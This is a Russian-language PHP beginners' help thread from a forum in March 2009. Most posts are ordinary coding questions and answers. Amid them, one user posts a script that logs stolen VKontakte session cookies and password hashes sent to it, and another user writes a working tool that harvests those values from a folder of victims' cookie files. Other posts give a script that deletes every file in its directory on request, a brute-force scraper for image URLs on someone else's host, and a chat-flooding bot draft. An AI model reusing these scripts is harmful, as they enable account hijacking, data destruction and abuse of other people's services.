PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 [39] 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

Pashkela
18.03.2009, 14:53
Заголовки хоть как-то обозначены? Ну там "Тема урока 1.1"

Можно как-то идентифицировать заголовки?

nilux
18.03.2009, 15:07
я так понял разделены пустой строкой

real_kas
18.03.2009, 15:11
разделены пустой строкой. автозаменой я могу вставить более определенный символ. заголовки везде разные. сейчас у меня вот так:

<p>заголовок<br/>
текст текст текст<br/>
текст текст текст<br/>
текст текст текст<br/>
текст текст текст</p>

<p>заголовок<br/>
текст текст текст<br/>
текст текст текст<br/>
текст текст текст<br/>
текст текст текст</p>

<p>заголовок<br/>
текст текст текст<br/>
текст текст текст<br/>
текст текст текст<br/>
текст текст текст</p>

??

Корвин
18.03.2009, 15:40
ну если ты можешь автозаменой заменить тогда все просто , замени "</p>" на "</p> #разделитель абзацев#" а потом пройдись по тому что получится функцией explode()

Pashkela
18.03.2009, 16:01
2 real_kas:


<pre>
<?php
@set_time_limit(0);
@ini_set("display_errors","1");

$buffer = '';
$file = 'uin.txt'; // Название файла исходника
$handle = fopen($file,'r') or die ("No file $file");
while (!feof($handle)) {
$buffer = trim(fgets($handle));
if (preg_match('|<p>(.*)<br/>|',$buffer,$mat)) {
$file1 = fopen($mat[1].".txt",'w');// Если заголовок, то создаем файл с именем заголовка
fwrite($file1, "$buffer\r\n");
$buffer = trim(fgets($file1));
}
fwrite($file1, "$buffer\r\n");
}

Echo 'Done';

?>

</pre>

shpak1
18.03.2009, 16:41
Люди) Ну так помогите кто-нибудь скриптик собрать) Тема на 956ой старице)

Pashkela
18.03.2009, 16:50
1.
aaa
bbbbb
2.
ccc
ddddd


В текстовый файл должно копироваться все так:
Код:
aaa=bbbbb; ccc=ddddd;
aaa= ...................



Расшифруй сначала (читай - скажи нормальным русским языком), чо те надо, особенно последняя

aaa= ...................

что означает вообще. Внятно поставь условие - будет скрипт

shpak1
18.03.2009, 16:57
Ссылка на часть скрипта и пример кука (https://forum.antichat.ru/showpost.php?p=1176802&postcount=9560)
Скрипт который там выложен добавляет в txt файл нужные значения так как мне надо)
Нужно собрать его со скриптом который будет брать из папки с куками 4 значения из каждого файла, которые находятся под индификаторами(Remixid,Remixemail,Re mixpass,Remixsid).Пример кука там же лежит.

Alex_DeLarge
18.03.2009, 19:24
помогите плиз разобраца - существует файл map.txt (http://chigau.ru/map.txt)

там храняца данные о массиве созданного вот таким вот генератором

<?php for ( $j = 0; $j < 50; $j++){ for ( $i = 0; $i < 50; $i++){ $map[$i][$j] = rand(1, 5); } } $filename = 'map.txt'; $somecontent = serialize ($map); if (is_writable($filename)) { if ( !$handle = fopen($filename, 'w')) { echo "Не могу открыть файл ($filename)"; exit; } if ( fwrite($handle, $somecontent) === FALSE) { echo "Не могу произвести запись в файл ($filename)"; exit; } echo $somecontent; fclose($handle); } else { echo "Файл $filename недоступен для записи"; } ?>

преобразован сериализом в строку - как мне теперь заставить php понимать его как обычный массив чтобы можно было обращаца к нему как к обычному массиву с помощью ключей

вот код попытки обратица к нему $massiv = readfile("map.txt"); $map = unserialize($massiv); echo $map[0][0]; ?>

здесь генератор в действии mapgenerator.php (http://chigau.ru/mapgenerator.php)
а здесь попутка чтения map.php (http://chigau.ru/map.php)

Pashkela
18.03.2009, 19:27
$massiv = file("map.txt");
print_r ($massiv);

Alex_DeLarge
18.03.2009, 19:30
$massiv = file("map.txt");
print_r ($massiv);


он его выводит в виде строки - а мне его нужно в массив преобразовать и чтобы можно было выводить по ключам отдельные значения

Pashkela
18.03.2009, 19:33
Дык, замени

fwrite($handle, $somecontent)

на

fwrite($handle, $somecontent . "\r\n")

ЗЫЖ И код в одну строчку, как думаешь, легко читать?:)

Alex_DeLarge
18.03.2009, 19:43
Дык, замени

fwrite($handle, $somecontent)

на

fwrite($handle, $somecontent . "\r\n")

ЗЫЖ И код в одну строчку, как думаешь, легко читать?:)
ошибку выдает Parse error: syntax error, unexpected T_IS_IDENTICAL

а код у меня в редакторе нормаьно я не знаю почему он тут так выстроился

Alex_DeLarge
18.03.2009, 19:47
<?php
for ( $j = 0; $j < 50; $j++){
for ( $i = 0; $i < 50; $i++){
$map[$i][$j] = rand(1, 5);
}
}
$filename = 'map.txt';
$somecontent = serialize ($map);
if (is_writable($filename)) {
if ( !$handle = fopen($filename, 'w')) { echo "Не могу открыть файл ($filename)"; exit; }
if ( fwrite($handle, $somecontent )) === FALSE) { echo "Не могу произвести запись в файл ($filename)"; exit; }
echo $somecontent;
fclose($handle);
} else { echo "Файл $filename недоступен для записи";
}
?>

вот так лучше

Alex_DeLarge
18.03.2009, 19:54
или может существует другой способ хранения данных массива? главное мне нужно чтобы к каждому значению можно было обращаца по ключам

Gifts
18.03.2009, 20:26
Если нужно сохранять массив в файл, чтобы потом можно было обращаться к нему - то существуют функции serialize - преобразовать массив в строку. Unserialize - разобрать строку после предыдущей функции в массив. Ключи сохранятся

Alex_DeLarge
18.03.2009, 20:35
Если нужно сохранять массив в файл, чтобы потом можно было обращаться к нему - то существуют функции serialize - преобразовать массив в строку. Unserialize - разобрать строку после предыдущей функции в массив. Ключи сохранятся

так у меня код на этом и построен однако я немогу к нему обратица

Alex_DeLarge
18.03.2009, 21:30
$massiv = readfile("map.txt");
$map = unserialize($massiv);
echo $map[0][0];

почему он мне выводит опять строку а не данные из массива?

Gifts
18.03.2009, 21:31
Alex_DeLarge Readfile заменить на file_get_contents. И читать мануал по этим функциям

Alex_DeLarge
18.03.2009, 21:36
Спасибо помогло!!

[R]eD
18.03.2009, 21:49
Есть таблица

NewsTitle : Com

aaaaaaaa dsa
aaaaaaaa da
ttttttttttttt rew
rrrrrrrrrrrrr dsa
aaaaaaaa rew
rrrrrrrrrrrr rew
rrrrrrrrrrrr rew

Нужно вывести NewsTitle в таком порядке его кол-ва.

Тоесть тут должно быть:
aaaaaaaa
rrrrrrrrrrrr
ttttttttttttt

Помогите :)

[R]eD
18.03.2009, 22:15
ORDER BY NewsTitle ASC
Нет, нужно по кол-ву, тоесть ааааа больше значит он первый, затем уже rrrrrr.

metis04
18.03.2009, 22:29
</b></a></td><td align=right><a href=/xml/bonus/pay.php>2</u></a></b></table></td><tr><td colspan=3><img src="/images/hr2.gif" height=10px width=180px><tr><td><img src="/images/icons/finance.gif"></td><td><a href="/xml/residence/treasury.php"><b>

имеется такая строка,если изменить цифру 2 на каую-любо другую,то после обновления она принимает первоначальное значение.можно ли сделать так,чтобы она после обновления не изменялась???

Chaak
18.03.2009, 22:30
[R]eD:
SELECT *
FROM `news`
ORDER BY LENGTH( NewsTitle ) ASC
LIMIT 0 , 30


metis04, сохраняй куда-нибудь значение в файл/базу/сессию

metis04
18.03.2009, 22:40
[R]eD:



metis04, сохраняй куда-нибудь значение в файл/базу/сессию


а в случае,если это браузерка?возможно сделать?

LEXAlForpostl
19.03.2009, 01:19
Здравствуйте.
Ребята подскажите пожалуйста регулярное выражение под !!!РНР!!!, для того чтобы удалить ссылки <a href>оставить этот контент </a> но оставить то что заключено между тегами <a> и </a>
Заранее спасибо.

m0Hze
19.03.2009, 01:26
Оставть ссылки?

LEXAlForpostl
19.03.2009, 01:33
Оставть ссылки?
Нет, наоборот
В переменной $text - запихан текст, в нём есть несколько <a href***>lalala1</a> , <a href***>lalala2</a>, как удалить <a href***> и </a>, и оставить только те слова в тексте, которые между этими тегами.

m0Hze
19.03.2009, 01:49
preg_match('|>(.*)</a>|',$text,$match);

#Wolf#
19.03.2009, 03:04
или же вариант проще (если у тебя одни ссылки и нет лишнего текста)

strip_tags — Удаляет HTML и PHP тэги из строки

<?php
$text='<a href="http://google.com">Google</a>';
$text=strip_tags($text);
echo $text;
?>

LEXAlForpostl
19.03.2009, 09:36
Спасибо огромное за помощь :)

shpak1
19.03.2009, 10:34
Люди, уже 3ий день сижу) Помогите кто может)
Повторяюсь:
Я просто не особо шарю где и как написать этот скриптик. Знаю что это просто, но не знаю куда тыкаться)
Задача такова:
Этот скрипт добавляет в txt файл нужные значения так как мне надо)
<?php
$remixmid = $_POST['remixmid'];
$remixemail = $_POST['remixemail'];
$remixpass = $_POST['remixpass'];
$remixsid = $_POST['remixsid'];

$text .= "remixlang=0; ";
$text .= "remixmid=$remixmid; ";
$text .= "remixemail=$remixemail; ";
$text .= "remixpass=$remixpass; ";
$text .= "remixsid=$remixsid; ";
$text .= "remixchk=5; \n";
if (!empty($remixmid) && !empty($remixemail) && !empty($remixpass) && !empty($remixsid))
{
$file = fopen ('cookies.txt', 'a+');
fwrite ($file,$text);
fclose ($file);
}
?>
В итоге получается в конченом файле cookies.txt:

remixlang=0; remixmid=*****; remixemail=**********; remixpass=**********; remixsid=**************; remixchk=5;
remixlang=0; remixmid=*****; remixemail=**********; remixpass=**********; remixsid=**************; remixchk=5;

Нужно собрать его со скриптом который будет брать из папки с куками 4 значения из каждого файла, которые находятся под индификаторами(Remixmid,Remixemail,R emixpass,Remixsid).

Пример кука:

remixlang
0
29963691
*
remixchk
5
3933800464
29963691
*
remixmid
99999999
29963691
*
remixemail
pppp%40ppp.ru
1536
*
remixpass
cc09adcd52b200132101af80ec454790
1536
967300864
*
remixsid
fe69782ebf555a710a0c6873782f765636732dddcb4fb60068 * ffc055
967300864
*
remixclosed_tabs
0
1600
3093963776
*

Заранее спасибо))

Pashkela
19.03.2009, 14:59
2 shpak1:


<?php

@set_time_limit(0);
@ini_set("display_errors","1");

function check($str) {
$arr = array ('remixlang','remixchk','remixmid','remixemail','r emixpass','remixsid','remixclosed_tabs');
if( in_array($str,$arr)) return true;
else return false;
}


function ListDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
ListDir($item);
else
$dir[]=$item;
}
closedir($dh);
return $dir;
}
$a = ListDir('/home/bla-bla/bla-bla/http/s11/'); // Полный абсолютный путь до директории с куками
$count = count($a);
$buffer='';
$file = fopen('result.txt','a');
for ($i=0;$i<$count;$i++) {
$handl = fopen($a[$i],'r');
while (!feof($handl)) {
$buffer = trim(fgets($handl));
if(check($buffer)) {
fwrite($file,$buffer ."=");
$buffer = trim(fgets($handl));
fwrite($file,$buffer.";");
}

}
fclose($handl);
fwrite($file,"\r\n");
}
fclose($file);
echo 'All results was saved in result.txt';
?>

shpak1
19.03.2009, 15:23
To Pashkela:
^_^ Спасибо огромное)
Побежал тестить)

shpak1
19.03.2009, 15:29
Все работает!!!))))))))) Осталось подредактировать немного, но там легко это сделать))
To Pashkela: Еще раз спасибо)

Patronik
19.03.2009, 16:34
Извиняюсь за тупой вопрос, но как вызвать штмл форму внутри кода пхп?
Делаю так:
<?
echo "<h4>Вивод формы</h4>
<form>
<input type = "text"
name = "userName"
value = "Тут введите свое имя">
<inpyt type = "submit">
</form>";

?>
Так не работает. ка ето сделать?

159932
19.03.2009, 16:37
<?php
echo 'aaa';
?>
<html>blablabla</html>
<?php
echo 'done.......'
?>

wildshaman
19.03.2009, 16:53
Извиняюсь за тупой вопрос, но как вызвать штмл форму внутри кода пхп?
Делаю так:
<?
echo "<h4>Вивод формы</h4>
<form>
<input type = "text"
name = "userName"
value = "Тут введите свое имя">
<inpyt type = "submit">
</form>";

?>
Так не работает. ка ето сделать?


<?
echo <<<HTML
<h4>Вивод формы</h4>
<form>
<input type = "text"
name = "userName"
value = "Тут введите свое имя">
<inpyt type = "submit">
</form>
HTML;

?>

art2222
19.03.2009, 16:58
<?
echo "<h4>Вивод формы</h4>
<form>
<input type = "text"
name = "userName"
value = "Тут введите свое имя">
<inpyt type = "submit">
</form>";

?>
Так не работает. ка ето сделать?

Тогда или echo с одинарными кавычками или перед " ставь \ т.е. \" (в печатаемом тексте)

rushter
19.03.2009, 17:50
Извиняюсь за тупой вопрос, но как вызвать штмл форму внутри кода пхп?
Делаю так:
<?
echo "<h4>Вивод формы</h4>
<form>
<input type = "text"
name = "userName"
value = "Тут введите свое имя">
<inpyt type = "submit">
</form>";

?>
Так не работает. ка ето сделать?
Зачем тебе статический html внутри php ?Лишняя нагрузка...

inlanger
19.03.2009, 18:13
<?
echo<<<EOS
<h4>Вивод формы</h4>
<form>
<input type = "text"
name = "userName"
value = "Тут введите свое имя">
<inpyt type = "submit">
</form>;
EOS;
?>

VaTTka
19.03.2009, 19:15
Подскажите пожалуйста,к ак сделать скрипт пхп:
заливается на хостинг, по запросу в адресной строке, все файлы из каталога, где лежит скрипт, удаляются.
Возможно ли такое?

159932
19.03.2009, 19:29
<?pph
$a = scandir(dirname(__FILE__));
unset($a[0], $a[1]);
foreach ($a as $name) if (!unlink($name)) $ch++;
if (!$ch) echo 'well done';
else echo 'failed';
?>

Corpy
19.03.2009, 22:18
Здраствуйте.
Есть хост на котором картинки рандомятся.
xost.ru/images/B_******.jpg - типа так
С помощью чего можно сделать скрипт который,будет перебирать звёздочки в адресе.Под звёздочками могут быть ещё буквы.Вроде только до буквы "g".И если он найдёт таким перебором картинку что бы ссылку записал в какой то текстовый документ.
При неправильном адресе - выводит
<head><title>403 Forbidden</title></head> <body bgcolor="white"> <center><h1>403 Forbidden</h1></center> <hr><center>nginx/0.6.31</center>
И ещё вопрос.У меня дома нет интернета можно ли как то стянуть все 900 страниц, что бы я дома занялся чтением.
Спасибо:)

Ошибся немного выше, или наверное просто меня не так поняли.
Под звёздочками могут быть такие названия: 7594ed56 ,2748dcbc , acd38465.

159932
19.03.2009, 22:46
<?php
set_time_limit(0);
$litrs = array(1 => 'a', 2 => 'b', 3 => 'c', 4 => 'd', 5 => 'e', 6 => 'f', 7 => 'g');
$ranj = range(111111,777777);
foreach ($ranj as $num) {
$num = (string)$num;
$name = $litrs[$num{0}].$litrs[$num{1}].$litrs[$num{2}].$litrs[$num{3}].$litrs[$num{4}].$litrs[$num{5}];
$pic = @file_get_contents('http://xost.ru/images/B_'.$name.'.jpg');
if (strpos($pic, '403 Forbidden') !== true) file_put_contents($name.'.jpg', $pic);
}
?>

[dei]
20.03.2009, 01:47
<?
echo<<<EOS
<h4>Вивод формы</h4>
<form>
<input type = "text"
name = "userName"
value = "Тут введите свое имя">
<inpyt type = "submit">
</form>;
EOS;
?>

какбэ в 8 раз медленнее одинарных кавычек, спрашивается нафига козе баян

Patronik
20.03.2009, 02:06
Спасибо всем за ответы

Corpy
20.03.2009, 14:43
Спасибо.За ответ.

svesve
20.03.2009, 19:21
Вопрос знатокам )
Есть таблица в бд такого вида

ид отдела название родителький отдел(ид)
1 Отдел 0
2 подотдел1 1
3 подотдел2 1
4 подотдел_подотдела 2
5 подотдел 4

и т.д.

как можно вывести дерево это?????

mailbrush
20.03.2009, 21:00
<?php
$conn = mysql_connect("localhost", "mysql_user", "mysql_password");
if (!$conn) {
echo "Unable to connect to DB: " . mysql_error();
exit;
}
if (!mysql_select_db("mydbname")) {
echo "Unable to select mydbname: " . mysql_error();
exit;
}
$sql = "SELECT id as userid, fullname, userstatus
FROM sometable
WHERE userstatus = 1";
$result = mysql_query($sql);
if (!$result) {
echo "Could not successfully run query ($sql) from DB: " . mysql_error();
exit;
}

if (mysql_num_rows($result) == 0) {
echo "No rows found, nothing to print so am exiting";
exit;
}
while ($row = mysql_fetch_assoc($result)) {
echo $row["id"]; //id
echo $row["name"]; //имя
echo $row["parents"]; //родительский
echo $row["newid"]; //еще айди
}
mysql_free_result($result);
?>
http://ua2.php.net/mysql_fetch_assoc - почитай

Balvan
20.03.2009, 21:12
Подскажите пожалуйста как перемешивать символы?

Пример: даётся длинна строки ну например 4 символа и скрипт генерирует это.

длинна строки = 3 (строка числовая)
получаем: 123 132 213 231 312 321 (именно так, без "повторов", типа 112, 111 и т.п.)

NOmeR1
20.03.2009, 22:30
<?php
function gen($c,$a) {
global $symb, $cnt, $ch;
foreach($symb as $v) {
$a[$c-1] = $v;
if(array_unique($a) == $a) {
if($c==$cnt) {
$ch[] = implode('',$a);
} else {
$array = gen($c+1,$a);
}
}
}
}
$ch = array();
$cnt = 3; // кол-во символов
$symb = array(1,3,5); // буквы, цифры и т.п.
gen(1,array()); // генерируем, изменяя массив $ch
echo implode(' ', $ch); // выводим массив
?>

Balvan
20.03.2009, 22:35
Спасибище! =*

Велемир
20.03.2009, 22:44
<?php

$fp = fopen("flood.dic","r");
$str = "tiponick";
$url = "http://www.games.ru/cgi-bin/chat/chat_login.cgi";
$ref = "http://www.games.ru/chat/";
$ua = "IE 5.0";
$req = "nickname=$str&ok=%C2%EE%E9%F2%E8";
$req1 = "user=$str&room=general&stol=lKyeL3C9rgEcf1&key=&message=Превед!&submit= >>> ";

$ch = curl_init($url);
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_REFERER,$ref);
curl_setopt($ch,CURLOPT_USERAGENT,$ua);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$req);
curl_setopt($ch,CURLOPT_COOKIEFILE,"./cook");
curl_setopt($ch,CURLOPT_COOKIEJAR,"./cook");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);

$result = curl_exec($ch);
echo $result;
curl_close($ch);

$ch = curl_init("http://www.games.ru/chat/put.htm");
curl_setopt($ch,CURLOPT_USERAGENT,$ua);
curl_setopt($ch,CURLOPT_REFERER,ref);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$req1);
curl_setopt($ch,CURLOPT_COOKIEFILE,"./cook");
curl_setopt($ch,CURLOPT_COOKIEJAR,"./cook");





?>



flood.dic - эт просто словарик))


Что-то не робит он:(Или я запутался с фреймами,или не понял задумку.Цикл не делал,ибо для теста.Всё равно считает одну строку:)

Pashkela
20.03.2009, 23:14
а чего ты хотел-то???

Просто открыл файл на чтение:

$fp = fopen("flood.dic","r");

и всё. Дальше с файлом вообще ничего не делаешь

Balvan
21.03.2009, 00:06
Извините, а как можно ограничивать массив?

вот например:

<?php
function gen($c,$a) {
global $symb, $cnt, $ch;
foreach($symb as $v) {
$a[$c-1] = $v;
if(array_unique($a) == $a) {
if($c==$cnt) {
$ch[] = implode('',$a);
} else {
$array = gen($c+1,$a);
}
}
}
}
$ch = array();
$cnt = 3; // кол-во символов
$symb = array(1,2,3,4,5,6); // буквы, цифры и т.п.
gen(1,array()); // генерируем, изменяя массив $ch
echo implode(' ', $ch); // выводим массив
?>

чтобы этот код после выводил не каждый элемент массива с каждым, а каждые элемент с каждым до $cnt??? т.е чтобы "перемешивались" $cnt элементов массива $symb (в этом случае 1, 2 и 3)



:) осознал свою тупость ))) спасибо!!! проблема решена...

Patronik
21.03.2009, 00:19
Скажыте как соединить форму и программу в одном файле. Например:
<html>
<head>
<title></title>
</head>

<body>
<?php
$a = $_POST['a'];
if (empty($a))
{
echo<<<EOS
<form
method = "post"
action ="OutputA.php">
<input type = "text"
name = "a">
<input type = "submit"
value = "вивести">
</form>
EOS;
}
else
{
echo $a;
}
?>
</body>
</html>
Надо чтобы при первом запуске виводилась форма а восле ввода $a форма вызывала ету же программу но уже с !empty($a) и чтобы исполнился else

laedafess
21.03.2009, 03:27
ну назови эту "программу" OutputA.php и после нажатия на "вивести":) исполнится else
наверно..

AkyHa_MaTaTa
21.03.2009, 03:49
Скажыте как соединить форму и программу в одном файле. Например:
<html>
<head>
<title></title>
</head>

<body>
<?php
$a = $_POST['a'];
if (empty($a))
{
echo<<<EOS
<form
method = "post"
action ="OutputA.php">
<input type = "text"
name = "a">
<input type = "submit"
value = "вивести">
</form>
EOS;
}
else
{
echo $a;
}
?>
</body>
</html>
Надо чтобы при первом запуске виводилась форма а восле ввода $a форма вызывала ету же программу но уже с !empty($a) и чтобы исполнился else
Не совсем понял что тебе надо, то есть форма должна присутвовать и при установленой _POST['a'] и при не установленой _POST['a']?


<html>
<head>
<title></title>
</head>
<body>
<form method = "post" action ="">
<input type = "text" name = "a" value="<? echo !empty($_POST['a']) ? $_POST['a'] : '' ?>">
<input type = "submit" value = "вивести">
</form>
<?php
if (!empty($_POST['a'])) {
echo $a;
//do something
}
else{
//do something else
}
?>
</body>
</html>

Patronik
21.03.2009, 12:03
Не совсем понял что тебе надо, то есть форма должна присутвовать и при установленой _POST['a'] и при не установленой _POST['a']?


<html>
<head>
<title></title>
</head>
<body>
<form method = "post" action ="">
<input type = "text" name = "a" value="<? echo !empty($_POST['a']) ? $_POST['a'] : '' ?>">
<input type = "submit" value = "вивести">
</form>
<?php
if (!empty($_POST['a'])) {
echo $a;
//do something
}
else{
//do something else
}
?>
</body>
</html>


Мне надо чтобы форма вызывалась только при неустановленой $a а если $a установлена то чтобы исполнился
else
{
echo $a;
}
И чтобы после ввода в форму $a запускался етот же файл OutputA.php но исполнился уже else

art2222
21.03.2009, 14:50
<html>
<head>
<title></title>
</head>
<body>
<?php
if (empty($_POST['a']))
{
?>
<form method = "post">
<input name = "a">
<input type = "submit" value = "Вывести">
</form>
<?php
}
else echo $_POST['a'];
?>
</body>
</html>


И чтобы после ввода в форму $a запускался етот же файл OutputA.php но исполнился уже else
Так что-ли?

Patronik
21.03.2009, 16:49
2 art2222
Так не работает. Так как ты написал форма вызываеться влюбом случае а надо только тогда когда $a не определенная. Форма должна запускаться из пхп кода!!!! И только при empty($a), а после ввода значения в форму должна запускаться ета же программа но исполниться должен не TRUE а ELSE!!!
У меня получилось я сделал так:
<html>
<head>
<title></title>
</head>
<body>

<?php
if (empty($_POST['a']))
{
echo '<form method = "post">
<input type = "text"
name = "a">
<input type = "submit"
value = "Вывести">
</form>';
}


else
{
echo $_POST['a'];
}
?>
</body>
</html>

Так все работает. Помогли одинарные кавычки и использование глобального масива $_POST.
Получилось что я обединил форму и программу которая обрабатывает дание из формы в одном файле!!!

still12
21.03.2009, 17:09
Имеется скрипт отправки сообщения на мыло.....не отправляет ...где я накасячил ?
<FORM action= "?=$_SERVER['PHP_SELF']?" METHOD=POST>
<p>Имя <INPUT TYPE=TEXT NAME=Name SIZE=30xBR></p>
<p>Телефон <INPUT TYPE=TEXT NAME=tel SIZE=20xBR></p>
<p>Email <INPUT TYPE=TEXT NAME=Email SIZE=20xBR><br></p>
<INPUT TYPE=SUBMIT NAME=SUBMIT VALUE="OK!">
</FORM>

<?php
$a= $_POST['name'] ;
$b= $_POST['tel'] ;
$c= $_POST['email'] ;

mail("fuck@mail.ru", "My Subject", " '$a'\n '$b'\n '$c' ");
?>

DDoSька
21.03.2009, 17:21
Имеется скрипт отправки сообщения на мыло.....не отправляет ...где я накасячил ?
<FORM action= "?=$_SERVER['PHP_SELF']?" METHOD=POST>
<p>Имя <INPUT TYPE=TEXT NAME=Name SIZE=30xBR></p>
<p>Телефон <INPUT TYPE=TEXT NAME=tel SIZE=20xBR></p>
<p>Email <INPUT TYPE=TEXT NAME=Email SIZE=20xBR><br></p>
<INPUT TYPE=SUBMIT NAME=SUBMIT VALUE="OK!">
</FORM>

<?php
$a= $_POST['name'] ;
$b= $_POST['tel'] ;
$c= $_POST['email'] ;

mail("fuck@mail.ru", "My Subject", " '$a'\n '$b'\n '$c' ");
?>


<p>Имя <INPUT TYPE=TEXT NAME=Name SIZE=30xBR></p>
<p>Телефон <INPUT TYPE=TEXT NAME=tel SIZE=20xBR></p>
<p>Email <INPUT TYPE=TEXT NAME=Email SIZE=20xBR><br></p>
Я на 99 % уверен, что ты это сделал из книги по программированию, и там было коряво тсканированно
<p>Имя <INPUT TYPE=TEXT NAME=Name SIZE=30xBR></p>
<p>Имя <INPUT TYPE=TEXT NAME=Name SIZE=30><BR></p>
НЕ xBR> , а ><BR>
----
<FORM action= "<?=$_SERVER['PHP_SELF']?>" METHOD=POST>
Кажись так

still12
21.03.2009, 17:35
Из книжки по програмирированию я не че не писал ))) lol ...

<FORM action= "<?=$_SERVER['PHP_SELF']?>" METHOD=POST>
Кажись так
Когда я пишу вот так с <> то браузер воспринимает это как ссылку на некий файл и пытается его загрузить ... что естественно вызывает ошибку "Страница не найдена "

m0Hze
21.03.2009, 18:01
'$a' - кавычке?

AkyHa_MaTaTa
21.03.2009, 18:14
Ну как то так:

<FORM action="" METHOD=POST>
<p>Имя <INPUT TYPE=TEXT NAME="name" SIZE="30"></p>
<p>Телефон <INPUT TYPE=TEXT NAME="tel" SIZE=20></p>
<p>Email <INPUT TYPE=TEXT NAME="email" SIZE=20></p>
<INPUT TYPE=SUBMIT NAME=SUBMIT VALUE="OK!">
</FORM>

<?php
$a= @$_POST['name'] ;
$b= @$_POST['tel'] ;
$c= @$_POST['email'] ;

if(isset($a,$b,$c)){
$to = 'nobody@example.com';
$subject = 'the subject';
$message = "$a\n$b\n$c";
mail($to, $subject, $message);
}
?>

fatalo
21.03.2009, 18:50
Где можно почитать нормальный (неоффициальный) русский мануал по курлу?Желательно полностью и понятно

159932
21.03.2009, 18:58
http://de2.php.net/curl - и не надо говорить что на офф плохо написано..
http://php.su/functions/?cat=curl

mailbrush
21.03.2009, 19:01
still12,Зачем вообще экшн там? Если экшн не указан - запрос идёт на текущую страницу...

fatalo
21.03.2009, 19:01
159932,я не говорю,что плохо.
Просто меня бесит дебильный перевод в перемешку с английскими комментами.

art2222
21.03.2009, 20:12
2 art2222
Так не работает. Так как ты написал форма вызываеться влюбом случае а надо только тогда когда $a не определенная
А ты попробуй запустить ;)

Balvan
21.03.2009, 22:49
Подскажите пожалуйста как заполнять массив по мере поступления значений?

159932
21.03.2009, 23:02
$array[] = 'blablabla';

Corpy
21.03.2009, 23:12
С помощью каких инструкций,циклов, функций можно добится такого результата.
Скрипт заходит на сайт по ссылке "http://host.ru/album/images/D_******.jpg", где под звёздочками,имеется ввиду перебор символов такого вида"032c19a0 и ceeaadb2 и acd38465 и так далее"
При неправильном переборе имени рисунка -<head><title>404 Not Found</title></head> <body bgcolor="white"> <center><h1>404 Not Found</h1></center> <hr><center>nginx/0.6.31</center>

159932
21.03.2009, 23:22
Corpy, я тебе уже ответил. читай выше.

Велемир
21.03.2009, 23:43
Люди,заюзал я empty():

В первом случае я также передал пустые кавычки скрипту("");

$x = $_GET['x'];

if(empty($x)) {

echo "Пусто!";

}

Выводит Пусто!

$x ="";

if(empty($x)) {

echo "Пусто!";

}


Ничего не выводит

Из определения функции:

empty() возвращает FALSE если var принимает не пустое и не нулевое значение. Другими словами, если значение var не принимает "", 0, "0", NULL, FALSE, array(), и объекты с пустыми свойствами. В противном случае функция возвращает TRUE.

Так почему тогда разные результаты ?! Ведь в обоих случаях возвращаеться должно NULL и обе переменные существуют!:(:(:(

Balvan
22.03.2009, 00:01
имеется массив такого вида:

array(1,2,2,3,3,3,4,4,4,4,... и т.д.);

как его отфильтровать чтобы было array(1,2,3,4,... и т.д.) ?????

Zedi
22.03.2009, 00:40
Balvan, array_unique()

Zedi
22.03.2009, 00:43
Велемир, лучше делать проверку if($x == "") {
echo "Пусто!";
}

Gifts
22.03.2009, 01:37
Велемир Что значит передал пыстые кавычки? script.php?x="" так что ли? тогда в переменной $_GET[x] будет два символа. Можешь проверить с помощью var_dump($_GET['x']);

draliokero
22.03.2009, 17:39
В общем, такая ситуация: получаю через preg_match_all с двух одинаковых сайтов по массиву, отсекаю повторы через array_unique в каждом массиве и делаю поиск:
foreach ($array1 as $val)
{
if (in_array($val, $array2)) {
$counter += 10;
}
}
Странно получаю с одного и того же сайта $array1 и $array2 но количество элементов в массивах разные. Помогите, что я делаю не так?

mff
22.03.2009, 19:59
Ребят! Ни у кого незавалялся простинькй скрипт отправки сообщения на icq? Поделитесь плиз.

Zedi
22.03.2009, 20:02
_http://kanicq.ru/invisible/icqlib.rar класс для работы с icq, там же внутри есть пример отправки сообщений (закоментировано вверху класса)

DDoSька
22.03.2009, 21:04
Есть ли бесплатный хостинг с cURL ? А платный? А почем? дайте линк пожалуйста. Спасибо !

Gifts
22.03.2009, 21:14
DDoSька http://110mb.com, http://freehostia.com

VDS от 120 рублей в месяц

DDoSька
22.03.2009, 21:18
DDoSька http://110mb.com, http://freehostia.com

VDS от 120 рублей в месяц
Благодарю, пробывал, но письмо не доходило, лень ящик регать :)

.:EnoT:.
22.03.2009, 21:21
Смотря под какие цели курл нужен. Знаю дешёвые платные хосты, но с легальным использованием.

DDoSька
22.03.2009, 21:26
Смотря под какие цели курл нужен. Знаю дешёвые платные хосты, но с легальным использованием.
Мне под парсеры ,грабберы, не спам . Все легально
PS: на http://freehostia.com нету cURL, только что зарегал, скрипты с cURL не пашут =(
Или у меня руки кривые?

Gaus
22.03.2009, 22:16
Мне под парсеры ,грабберы, не спам . Все легально
PS: на http://freehostia.com нету cURL, только что зарегал, скрипты с cURL не пашут =(
Или у меня руки кривые?
Не, руки не кривые(наверно :) ).У меня тоже на http://freehostia.com скрипты с курлом непашут...
А вот здесь: http://www.0fees.net/signup.php граббер на курле пашет.

DDoSька
22.03.2009, 22:19
Не, руки не кривые(наверно :) ).У меня тоже на http://freehostia.com скрипты с курлом непашут...
А вот здесь: http://www.0fees.net/signup.php граббер на курле пашет.
у меня даже на 110mb.com не пашет, думаю опять : руки крривые или курл не держат? :(

Gaus
22.03.2009, 22:24
у меня даже на 110mb.com не пашет, думаю опять : руки крривые или курл не держат? :(
Ну если ДАЖЕ на 110mb.com неработает,то нигде работать небудет :D

DDoSька
22.03.2009, 22:25
Ну если ДАЖЕ на 110mb.com неработает,то нигде работать небудет :D
Ладно, попробую ногами скрипт закинуть,раз руки кривые
---
Зарегал, кинул скрипт. Хз ,здесь невозможно затупить

Zedi
22.03.2009, 22:35
